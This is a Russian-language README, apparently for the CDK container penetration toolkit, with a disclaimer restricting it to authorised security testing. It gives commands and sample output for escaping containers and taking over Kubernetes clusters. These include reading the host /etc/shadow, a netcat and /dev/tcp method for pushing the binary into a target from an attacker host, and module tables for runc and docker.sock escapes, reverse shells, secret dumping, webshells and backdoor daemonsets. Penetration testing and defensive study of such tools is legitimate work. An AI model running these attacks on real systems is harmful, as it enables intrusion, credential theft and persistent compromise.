Инструмент для атак изнутри скомпрометированного контейнера (container escape). Автоматически определяет runtime (Docker/containerd/CRI-O), ищет пути побега: privileged mode, exposed Docker socket, runc CVE. Включает модули для CVE-2019-5736, CVE-2022-0847 (DirtyPipe).
# Скачать статичный бинарник (работает внутри минимального контейнера) https://github.com/cdk-team/CDK/releases ./cdk evaluate --full
English | Китайский (упрощённый)

Использование CDK для атаки на цели без предварительного взаимного согласия является незаконным. CDK предназначен исключительно для тестирования безопасности.
CDK — это инструментальный набор для проникновения в контейнеры с открытым исходным кодом, разработанный для обеспечения стабильной эксплуатации в различных урезанных контейнерах без какой-либо зависимости от операционной системы. Он включает полезные сетевые утилиты и множество мощных PoC/EXP, помогая вам легко выйти из контейнера и взять под контроль кластер K8s.
Запустите cdk eva, чтобы получить информацию оценки и рекомендуемую эксплойт, затем запустите cdk run, чтобы начать атаку.
> ./cdk eva --full
[*] Maybe you can exploit the *Capabilities* below:
[!] CAP_DAC_READ_SEARCH enabled. You can read files from host. Use 'cdk run cap-dac-read-search' ... for exploitation.
[!] CAP_SYS_MODULE enabled. You can escape the container via loading kernel module. More info at https://xcellerator.github.io/posts/docker_escape/.
Critical - SYS_ADMIN Capability Found. Try 'cdk run rewrite-cgroup-devices/mount-cgroup/...'.
Critical - Possible Privileged Container Found.
> ./cdk run cap-dac-read-search
Running with target: /etc/shadow, ref: /etc/hostname
ubuntu:$6$*******:19173:0:99999:7:::
root:*:18659:0:99999:7:::
daemon:*:18659:0:99999:7:::
bin:*:18659:0:99999:7:::
Скачайте последний релиз по ссылке https://github.com/cdk-team/CDK/releases/
Поместите исполняемые файлы в целевой контейнер и начните тестирование.
Если у вас есть эксплойт, позволяющий загружать файлы, вы можете напрямую загрузить бинарный файл CDK.
Если у вас есть эксплойт для удаленного выполнения кода (RCE), но в целевом контейнере нет команд curl или wget, вы можете использовать следующий способ для доставки CDK:
(on your host)
nc -lvp 999 < cdk
cat < /dev/tcp/(your_public_host_ip)/(port) > cdk
chmod a+x cdk
Usage:
cdk evaluate [--full]
cdk run (--list | <exploit> [<args>...])
cdk <tool> [<args>...]
Evaluate:
cdk evaluate Gather information to find weakness inside container.
cdk evaluate --full Enable file scan during information gathering.
Exploit:
cdk run --list List all available exploits.
cdk run <exploit> [<args>...] Run single exploit, docs in https://github.com/cdk-team/CDK/wiki
Tool:
vi <file> Edit files in container like "vi" command.
ps Show process information like "ps -ef" command.
nc [options] Create TCP tunnel.
ifconfig Show network information.
kcurl <path> (get|post) <uri> <data> Make request to K8s api-server.
ectl <endpoint> get <key> Unauthorized enumeration of ectd keys.
ucurl (get|post) <socket> <uri> <data> Make request to docker unix socket.
probe <ip> <port> <parallel> <timeout-ms> TCP port scan, example: cdk probe 10.0.1.0-255 80,8080-9443 50 1000
Options:
-h --help Show this help msg.
-v --version Show version.
--profile=<name> Select evaluation profile.
CDK имеет три модуля:
Использование
cdk evaluate [--full]
| Тактики | Скрипт | Поддерживается | Использование/Пример |
|---|---|---|---|
| Сбор информации | Базовая информация об ОС | ✔ | ссылка |
| Сбор информации | Доступные возможности (Capabilities) | ✔ | ссылка |
| Сбор информации | Доступные Linux команды | ✔ | ссылка |
| Сбор информации | Точки монтирования (Mounts) | ✔ | ссылка |
| Сбор информации | Сетевое пространство имён (Net Namespace) | ✔ | ссылка |
| Сбор информации | Чувствительные переменные окружения (ENV) | ✔ | ссылка |
| Сбор информации | Чувствительные процессы | ✔ | ссылка |
| Сбор информации | Чувствительные локальные файлы | ✔ | ссылка |
| Сбор информации | Kube-proxy Route Localnet (CVE-2020-8558) | ✔ | ссылка |
| Сбор информации | Обнаружение сервисов на основе DNS | ✔ | ссылка |
| Обнаружение | Информация о K8s Api-server | ✔ | ссылка |
| Обнаружение | Информация о K8s Service-account | ✔ | ссылка |
| Обнаружение | API метаданных облачного провайдера | ✔ | ссылка |
Вывести список всех доступных эксплойтов:
cdk run --list
Запустить целевой эксплойт:
cdk run <script-name> [options]
| Тактика | Техника | Имя эксплойта в CDK | Поддерживается | В тонком контейнере | Документация |
|---|---|---|---|---|---|
| Побег | docker-runc CVE-2019-5736 | runc-pwn | ✔ | ✔ | |
| Побег | containerd-shim CVE-2020-15257 | shim-pwn | ✔ | ссылка | |
| Побег | docker.sock PoC (атака DIND) | docker-sock-check | ✔ | ✔ | ссылка |
| Побег | docker.sock RCE | docker-sock-pwn | ✔ | ✔ | ссылка |
| Побег | Docker API(2375) RCE | docker-api-pwn | ✔ | ✔ | ссылка |
| Побег | Побег через монтирование устройства | mount-disk | ✔ | ✔ | ссылка |
| Побег | Побег через LXCFS | lxcfs-rw | ✔ | ✔ | ссылка |
| Побег | Побег через Cgroups | mount-cgroup | ✔ | ✔ | ссылка |
| Побег | Злоупотребление привилегированным пространством имён пользователя (CVE-2022-0492) | abuse-unpriv-userns | ✔ | ✔ | ссылка |
| Побег | Побег через Procfs | mount-procfs | ✔ | ✔ | ссылка |
| Побег | PoC побега через Ptrace | check-ptrace | ✔ | ✔ | ссылка |
| Побег | Перезапись Cgroup (devices.allow) | rewrite-cgroup-devices | ✔ | ✔ | ссылка |
| Побег | Чтение произвольного файла с хоста (CAP_DAC_READ_SEARCH) | cap-dac-read-search | ✔ | ✔ | ссылка |
| Обнаружение | Зондирование компонентов K8s | service-probe | ✔ | ✔ | ссылка |
| Обнаружение | Дамп метаданных бокового контейнера Istio | istio-check | ✔ | ✔ | ссылка |
| Обнаружение | Дамп политик безопасности подов K8s | k8s-psp-dump | ✔ | ссылка | |
| Дистанционное управление | Обратная оболочка (Reverse Shell) | reverse-shell | ✔ | ✔ | ссылка |
| Дистанционное управление | Выполнение через Kubelet | kubelet-exec | ✔ | ✔ | |
| Доступ к учётным данным | Брутфорс реестра контейнеров | registry-brute | ✔ | ✔ | ссылка |
| Доступ к учётным данным | Сканирование ключей доступа | ak-leakage | ✔ | ✔ | ссылка |
| Доступ к учётным данным | Получение токена Kubernetes через Etcd | etcd-get-k8s-token | ✔ | ✔ | |
| Доступ к учётным данным | Дамп секретов Kubernetes | k8s-secret-dump | ✔ | ✔ | ссылка |
| Доступ к учётным данным | Дамп конфигураций Kubernetes | k8s-configmap-dump | ✔ | ✔ | ссылка |
| Повышение привилегий | Обход RBAC в Kubernetes | k8s-get-sa-token | ✔ | ✔ | ссылка |
| Повышение привилегий | CVE-2026-31431 copy-fail (только для non-root→root & x86_64) | copy-fail-cve-2026-31431 | ✔ | ссылка | |
| Закрепление | Развёртывание веб-шелла | webshell-deploy | ✔ | ✔ | ссылка |
| Закрепление | Развёртывание пода-задней двери | k8s-backdoor-daemonset | ✔ | ✔ | ссылка |
| Закрепление | Развёртывание теневого API-сервера Kubernetes | k8s-shadow-apiserver | ✔ | ссылка | |
| Закрепление | MITM-атака в Kubernetes (CVE-2020-8554) | k8s-mitm-clusterip | ✔ | ✔ | ссылка |
| Закрепление | Развёртывание CronJob в Kubernetes | k8s-cronjob | ✔ | ✔ | ссылка |
Примечание о тонком (Thin) сборке: Тонкая сборка подготовлена для контейнеров с коротким временем жизни, таких как функции без сервера. Мы добавляем метки сборки в исходный код и исключаем некоторые эксплойты, чтобы сделать бинарный файл легче. 2-мегабайтный файл содержит 90% функций CDK, и вы также можете выбрать полезные эксплойты из исходного кода CDK для сборки собственного легковесного бинарного файла.
Запуск команд аналогичен Linux, с небольшими различиями в аргументах ввода, см. ссылку на использование.
cdk nc [options]
cdk ps
| Команда | Описание | Поддерживается | Использование/Пример |
|---|---|---|---|
| nc | TCP-туннель | ✔ | ссылка |
| ps | Информация о процессах | ✔ | ссылка |
| netstat | Аналог команды "netstat -antup" | ✔ | |
| ifconfig | Сетевая информация | ✔ | ссылка |
| vi | Редактирование файлов | ✔ | ссылка |
| ectl | Несанкционированный перечень ключей etcd | ✔ | |
| kcurl | Запрос к API-серверу Kubernetes | ✔ | ссылка |
| dcurl | Запрос к HTTP API Docker | ✔ | ссылка |
| ucurl | Запрос к Unix-сокету Docker | ✔ | ссылка |
| rcurl | Запрос к API Docker Registry | ||
| probe | Сканирование IP/Портов | ✔ | ссылка |
Если вы хотите узнать, как мы выпустили новую версию, как создается тонкая сборка, почему мы предоставляем версии с UPX, каковы различия между различными версиями (all, normal, thin, upx) и как выбрать конкретные эксплойты и инструменты CDK для компиляции собственной сборки, ознакомьтесь с документацией о сборке.
Прежде всего, спасибо, что нашли время внести свой вклад!
Благодарим следующих контрибьюторов:
Больше контрибьюторов: Список контрибьюторов
Ошибки отслеживаются как GitHub Issues. Создайте проблему, указав текущую версию CDK, сообщение об ошибке и среду. Опишите точные шаги для воспроизведения проблемы.
Предложения по улучшению отслеживаются в GitHub Discussions. Вы можете опубликовать любые мысли здесь, чтобы обсудить их напрямую с разработчиками.
Исправление проблем или поддержание качества CDK:
Новая функциональность или эксплойты:

Проект CDK теперь включен в Starlink Project 2.0 от 404Team. Присоединяйтесь к сообществу StarLink, чтобы связаться с командой разработчиков CDK.